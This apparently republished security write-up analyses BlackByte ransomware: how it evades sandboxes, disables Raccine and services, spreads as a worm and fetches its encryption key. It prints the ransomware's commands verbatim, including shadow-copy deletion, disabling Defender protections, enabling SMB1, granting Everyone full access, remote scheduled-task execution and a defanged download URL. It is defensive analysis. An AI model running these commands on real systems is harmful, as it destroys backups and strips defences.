The payload is a .NET DLL (managed code) that contains a class named jSfMMrZfotrr.
The main purpose of this DLL is the following:
– SbieDll.dll (Sandboxie)
– SxIn.dll (Qihoo360 Sandbox)
– Sf2.dll (Avast Antivirus)
– snxhk.dll (Avast)
– cmdvrt32.dll (Comodo Internet)
Extracting the main payload – BlackByte – didn’t come easy, as it turns out that the executable binary is encrypted.
To make it easier and bypass analyzing the encryption and obfuscation layer, we simply let the JScript code run using cscript command:
| cscript.exe <malicious JScript launcher> |
Then we let the malicious .NET assembly run in memory. Afterward, we dumped all the .NET assemblies including the decrypted BlackByte .NET executable. We used a tool called MegaDumper to achieve this.
BlackByte: Preparing the Infected System
Before encrypting, BlackByte first prepares the system so that nothing may hamper it from its file encryption routine. During the initialization, the ransomware sets the value of essential fields such as the ransom notes, the encrypted file extension, cryptographic salt, OS name, among others. Victim identification is then generated by combining the infected system’s processor ID and the volume serial number and hashing them with MD5. The ransomware creates a mutex named Global\1f07524d-fb13-4d5e-8e5c-c3373860df25 and terminates if that mutex name already exists.
Afterward, it checks if the system language locale is on its list of language codes – as shown below. If the system default language is on the list, BlackByte terminates:
BCP 47 Code
The ransomware also sets its process priority class to above normal and uses SetThreadExecutionState API to prevent the system from entering sleep. It then removes applications and terminates processes that can hinder the encryption of the target files. Below are the actions it does in the system:
It enumerates the registry key:
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options |
And then deletes the following subkeys:
BlackByte terminates Raccine, an anti-ransomware utility, and uninstalls it from the infected system by running the command:
| taskill.exe /F /IM Raccine.exe |
| taskill.exe /F /IM RaccineSettings.exe |
schtasks.exe /DELETE /TN \”Raccine Rules Updater\" /F |
It also deletes any Raccine related registry keys including:
| HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name = “Raccine Tray” |
| HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\Raccine |
It runs a series of SC commands to disable a list of services:
sc.exe config SQLTELEMETRY start = disabled
sc.exe config sc SQLTELEMETRY$ECWDB2 start = disabled
sc.exe config SstpSvc start = disabled
sc.exe config MBAMService start = disabled
sc.exe config wuauserv start = disabled
It also enables the following services:
The following living-off-the-land commands are also executed to delete all shadow copies on all volumes, delete Windows restore points, disable controlled folder access, enable network discovery, grant “everyone” full access to target drives, delete the recycle bin, enable file and printer sharing, and enable SMB1 protocol.
vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin.exe vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=unbounded
vssadmin.exe Delete Shadows /all /quiet
powershell.exe Get-CimInstance Win32_ShadowCopy | Remove-CimInstance
powershell.exe Set-MpPreference -EnableControlledFolderAccess Disabled
cmd.exe /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
cmd.exe /c rd /s /q D:\\$Recycle.bin
netsh advfirewall firewall set rule group=”Network Discovery” new enable=Yes
netsh advfirewall firewall set rule group=”File and Printer Sharing” new enable=Yes
powershell.exe Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
The ransomware sets the following registry settings to elevate local privilege, connect mapped drives, enable long paths:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
LocalAccountTokenFilterPolicy = REG_DWORD:1
EnableLinkedConnections = REG_DWORD:1
HKLM\SYSTEM\CurrentControlSet\Control\FileSystem
LongPathsEnabled = REG_DWORD:1
BlackByte uses the mountvol.exe command to mount volume names and leverage the Microsoft Discretionary Access Control List tool – icacls.exe to grant the group to “Everyone” full access to the root of the drive.
| C:\Windows\System32\icacls.exe” “{DRIVE LETTER}:*” /grant Everyone:F /T /C /Q |
BlackByte: Worm
This ransomware also has a worm capability. It first checks if the file %AppData%\<Generated Victim ID> exists. If this file does not exist, it means that the ransomware has not infected the network yet.
When the worm function is called, it initially sleeps for 10 seconds then queries at least 1,000 hostnames in the domain from the active directory.
It enumerates the returned record of hostnames, sends a wake-on-lan magic packet and then pings the target hosts making sure they are alive. Below is the worm routine and execution flow:
BlackByte then proceeds to infect the host by copying itself to the path <hostname>\c$\Users\Public\obamka.js (if it has admin rights) or <hostname>\Users\Public\obamka.js and then creates a scheduled task in the remote host to execute the file.
schtasks.exe <remotehost> /TN joke /TR \"wscript.exe C:\\Users\\Public\\obamka.js\" /sc once /st 00:00 /RL HIGHEST |
schtasks.exe /S <remotehost> /Run /TN joke |
BlackByte then creates an infection marker file in the target host in the path c:\Users\Public\blockator.
BlackByte: Encryption Routine
What we found interesting about this ransomware, is that it initially downloads a .PNG file from the link hxxp://45.9.148.114/forest.png which contains a key to be used later to encrypt the files. If the ransomware fails to download the key, it will crash and will save the infected system from getting its files encrypted.
The file it downloaded is not actually a PNG image file, instead:
The first 40 bytes of the PNG file is a key (encrypted in TripleDES) used later for the ransomware’s file encryption.
The TripleDES key to decrypt the key is found in the last 32 bytes of the PNG file.
Below is the decrypted raw key:
| =hQ;d’%44eLHt!W8AU9y?(FO:<swB[F#<F |
This raw key is then re-encrypted with RSA using a public key embedded in the module (shown below) and then after the encryption, the key gets encoded with Base64.
| </RSAKeyValue> <Modulus> wKUX7pbo9XM/Z2gWbVADG8yV7ZklXOSRPv/KvtJHLIBUPvNWgjmKeiIgT3f5h CxaxqUzCi0QrrIhVIzA0WM+mPY9CLfIFLhq90v8H/+VezQtqeajO5J4ilDbqut9GH3x0ojVjC tF4/Q1Mxk125Af3D8IZQnXAw5uQ/uGXqP8e3E= </Modulus> <Exponent>AQAB</Exponent> </RSAKeyValue> |
The encrypted raw key is replaced in the ransom note’s key placeholder where it gets displayed.
After downloading and decrypting the raw key, it will derive the raw key using Rfc2898DeriveBytes implementation with the salt byte-array { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 } and with 1000 iterations
The graphic below will help visualize the encryption routine:
The ransomware will then start enumerating the drives (excluding the CD-ROM drive) and add them to a list. It makes sure it has full control of the target drives by changing its access control to full.
After gathering all the drives (local and remote) and shared folders on the remote host, the ransomware will start traversing it and searches for all the target files.
It avoids encrypting files with a system file attribute, and also filenames and file extensions from this list:
Filenames:
If the ransomware encounters a virtual hard drive file extension .vhd and .vhdx, it will attempt to dismount these drives using a PowerShell command:
| powershell.exe Dismount-DiskImage -ImagePath <vhd path> |
A target file to be encrypted undergoes file size filtering:
To encrypt a file, it uses AES symmetric-key algorithm using the RFC2898 derived raw keys from the .png file.
Below is the code snippet of the file encryption routine.
In BlackByte Ransomware – Part 2, we will show you how we de-obfuscated the JScript launcher, decompiled the ransomware code, and analyzed more of its inner workings.
This content was originally published here.